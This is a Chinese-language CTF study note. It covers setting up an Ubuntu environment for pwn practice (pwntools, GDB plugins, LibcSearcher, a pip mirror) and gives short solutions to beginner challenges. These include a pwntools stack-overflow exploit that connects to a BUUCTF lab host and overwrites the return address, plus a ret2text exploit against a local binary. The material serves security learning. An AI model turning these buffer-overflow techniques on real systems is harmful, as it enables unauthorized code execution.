一 安装Ubunt系统,配置环境
1、安装 pip
sudo apt-get install python3-pip
检测是否安装成功:pip3 -V
2、安装 vim
sudo apt install vim
检查是否安装成功:vim -v
3、pip 换源
vim ~/.pip/pip.conf
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
换源似乎是有问题
出现问题:“.pip/pip.conf E212:无法打开并写入
出现该问题则说明没有~/.pip/pip.conf这个文件,
先按ESC键,输入:q 不保存文件,退出vi
再根据提示,按ESC键,输入:!强制执行
关闭终端,再“Ctrl+Alt+T”打开终端
使用命令先新建.pip 文件夹,再新建文件 pip.conf
$ cd ~
$ mkdir .pip
$ cd .pip
$ vi pip.conf
再把上面的代码输入,然后 Esc+:w保存并退出
4、安装 pwntools
pip install pwntools
检测是否安装成功
python3
from pwn import *
5、GDB插件
git clone https://github.com/yichen115/GDB-Plugins
在 pwndbg 文件夹(在GDB-Plugins文件夹下)中 git init 初始化一下
似乎是有问题
安装后就可以安gbd
修改文件格式为fileformat=unix,但发现就是这个格式,根据上面修改过后就安装上了
bash:./setup.sh:权限不够
Esc+:set ff
6、安装 LibcSearcher
git clone https://github.com/Ro0tk1t/LibcSearcher3.git
pip3 install -e LibcSearcher3
玄学,经常安装不上,得看运气
二pwn题
1
获得端口连接靶机,冒号要换成空格,再用ls
用cat 指令获取flag
2.rip
栈溢出
构建exp
from pwn import *
p=remote("node4.buuoj.cn",29244) #靶机地址和端口
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive()
3.
from pwn import *
p=process("./ret2text")
p.recvuntil("do you know anything?\n")
payload=b"a"*112+p32(0x804863a)
p.sendline(payload)
p.interactive()